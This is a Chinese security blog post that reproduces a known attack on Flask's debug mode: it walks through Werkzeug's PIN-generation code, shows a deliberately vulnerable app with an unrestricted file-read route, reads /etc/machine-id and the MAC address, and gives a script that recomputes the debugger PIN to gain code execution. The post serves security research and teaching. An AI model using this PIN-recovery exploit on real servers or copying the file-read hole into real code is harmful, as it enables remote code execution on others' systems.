Kingkk's Blog.

Flask debug pin安全问题

2018/08/10 Share

前言

之前在国赛决赛的时候看到p0师傅提到的关于Flask debug模式下,配合任意文件读取,造成的任意代码执行。那时候就很感兴趣,无奈后来事情有点多,一直没来得及研究。今天把这个终于把这个问题复现了一下

主要就是利用Flask在debug模式下会生成一个Debugger PIN

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kingkk@ubuntu:~/Code/flask$ python3 app.py 
* Running on http://0.0.0.0:8080/ (Press CTRL+C to quit)
* Restarting with stat
* Debugger is active!
* Debugger pin code: 169-851-075

通过这个pin码,我们可以在报错页面执行任意python代码

问题就出在了这个pin码的生成机制上,在同一台机子上多次启动同一个Flask应用时,会发现这个pin码是固定的。是由一些固定的值生成的,不如直接来看看Flask源码中是怎么写的

代码逻辑分析

测试环境为:

  • Ubuntu 16.04
  • python 3.5
  • Flask 0.10.1

一个简单的hello world程序 app.py

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# -*- coding: utf-8 -*-
from flask import Flask
app = Flask(__name__)

@app.route("/")
def hello():
return 'hello world!'

if __name__ == "__main__":
app.run(host="0.0.0.0", port=8080, debug=True)

用pycharm在app.run下好断点,开启debug模式

由于代码写的还是相当官方的,很容易就能找到生成pin码的部分,大致跟踪流程如下

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app.py 
python3.5/site-packages/flask/app.py 772行左右 run_simple(host, port, self, **options)
python3.5/site-packages/werkzeug/serving.py 751行左右 application = DebuggedApplication(application, use_evalex)
python3.5/site-packages/werkzeug/debug/__init__.py

主要就在这个debug/__init__.py中,先来看一下_get_pin函数

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def _get_pin(self):
if not hasattr(self, '_pin'):
self._pin, self._pin_cookie = get_pin_and_cookie_name(self.app)
return self._pin

跟进一下get_pin_and_cookie_name函数

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def get_pin_and_cookie_name(app):
"""Given an application object this returns a semi-stable 9 digit pin
code and a random key. The hope is that this is stable between
restarts to not make debugging particularly frustrating. If the pin
was forcefully disabled this returns `None`.

Second item in the resulting tuple is the cookie name for remembering.
"""
pin = os.environ.get('WERKZEUG_DEBUG_PIN')
rv = None
num = None

# Pin was explicitly disabled
if pin == 'off':
return None, None

# Pin was provided explicitly
if pin is not None and pin.replace('-', '').isdigit():
# If there are separators in the pin, return it directly
if '-' in pin:
rv = pin
else:
num = pin

modname = getattr(app, '__module__',
getattr(app.__class__, '__module__'))

try:
# `getpass.getuser()` imports the `pwd` module,
# which does not exist in the Google App Engine sandbox.
username = getpass.getuser()
except ImportError:
username = None

mod = sys.modules.get(modname)

# This information only exists to make the cookie unique on the
# computer, not as a security feature.
probably_public_bits = [
username,
modname,
getattr(app, '__name__', getattr(app.__class__, '__name__')),
getattr(mod, '__file__', None),
]

# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [
str(uuid.getnode()),
get_machine_id(),
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, text_type):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

return rv, cookie_name

return的rv变量就是生成的pin码

最主要的就是这一段哈希部分

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for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, text_type):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

连接了两个列表,然后循环里面的值做哈希

这两个列表的定义

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probably_public_bits = [
username,
modname,
getattr(app, '__name__', getattr(app.__class__, '__name__')),
getattr(mod, '__file__', None),
]

private_bits = [
str(uuid.getnode()),
get_machine_id(),
]

可以先看一下debug的值,配合debug中的值做进一步分析

可以看到

username就是启动这个Flask的用户

modname为flask.app

getattr(app, '__name__', getattr(app.__class__, '__name__'))为Flask

getattr(mod, '__file__', None)为flask目录下的一个app.py的绝对路径

uuid.getnode()就是当前电脑的MAC地址,str(uuid.getnode())则是mac地址的十进制表达式

get_machine_id()不妨跟进去看一下

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def _generate():
# Potential sources of secret information on linux. The machine-id
# is stable across boots, the boot id is not
for filename in '/etc/machine-id', '/proc/sys/kernel/random/boot_id':
try:
with open(filename, 'rb') as f:
return f.readline().strip()
except IOError:
continue

# On OS X we can use the computer's serial number assuming that
# ioreg exists and can spit out that information.
try:
# Also catch import errors: subprocess may not be available, e.g.
# Google App Engine
# See https://github.com/pallets/werkzeug/issues/925
from subprocess import Popen, PIPE
dump = Popen(['ioreg', '-c', 'IOPlatformExpertDevice', '-d', '2'],
stdout=PIPE).communicate()[0]
match = re.search(b'"serial-number" = <([^>]+)', dump)
if match is not None:
return match.group(1)
except (OSError, ImportError):
pass

# On Windows we can use winreg to get the machine guid
wr = None
try:
import winreg as wr
except ImportError:
try:
import _winreg as wr
except ImportError:
pass
if wr is not None:
try:
with wr.OpenKey(wr.HKEY_LOCAL_MACHINE,
'SOFTWARE\\Microsoft\\Cryptography', 0,
wr.KEY_READ | wr.KEY_WOW64_64KEY) as rk:
machineGuid, wrType = wr.QueryValueEx(rk, 'MachineGuid')
if (wrType == wr.REG_SZ):
return machineGuid.encode('utf-8')
else:
return machineGuid
except WindowsError:
pass

_machine_id = rv = _generate()
return rv

首先尝试读取/etc/machine-id或者 /proc/sys/kernel/random/boot_i中的值,若有就直接返回

假如是在win平台下读取不到上面两个文件,就去获取注册表中SOFTWARE\\Microsoft\\Cryptography的值,并返回

这里就是etc/machine-id文件下的值

这样,当这6个值我们可以获取到时,就可以推算出生成的PIN码,引发任意代码执行

配合任意文件读取

修改一下之前的app.py,增加一个任意文件读取功能,并让index页面抛出一个异常(也就是给一个代码执行点

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# -*- coding: utf-8 -*-
import pdb
from flask import Flask, request
app = Flask(__name__)

@app.route("/")
def hello():
return Hello['a']

@app.route("/file")
def file():
filename = request.args.get('filename')
try:
with open(filename, 'r') as f:
return f.read()
except:
return 'error'

if __name__ == "__main__":
app.run(host="0.0.0.0", port=8080, debug=True)

尝试去获取那6个变量值

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username # 用户名

modname # flask.app

getattr(app, '__name__', getattr(app.__class__, '__name__')) # Flask

getattr(mod, '__file__', None) # flask目录下的一个app.py的绝对路径

uuid.getnode() # mac地址十进制

get_machine_id() # /etc/machine-id

首先先获取/etc/machine-id

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19949f18ce36422da1402b3e3fe53008

然后是mac地址(我虚拟机中网卡为ens33,一般情况下应该是eth0)

然后还可以利用debug的报错页面获取一些路径信息

这样直接用户名和app.py的绝对路径都能获得到了

然后利用几个值,就可以推算出pin码

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import hashlib
from itertools import chain
probably_public_bits = [
'kingkk',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/home/kingkk/.local/lib/python3.5/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'52242498922',# str(uuid.getnode()), /sys/class/net/ens33/address
'19949f18ce36422da1402b3e3fe53008'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

算出来pin码为

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169-851-075

可以看到和终端输出的pin码值是一样的

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kingkk@ubuntu:~/Code/flask$ python3 app.py 
* Running on http://0.0.0.0:8080/ (Press CTRL+C to quit)
* Restarting with stat
* Debugger is active!
* Debugger pin code: 169-851-075

尝试在debug页面输入一下

成功命令执行

CATALOG
  1. 1. 前言
  2. 2. 代码逻辑分析
  3. 3. 配合任意文件读取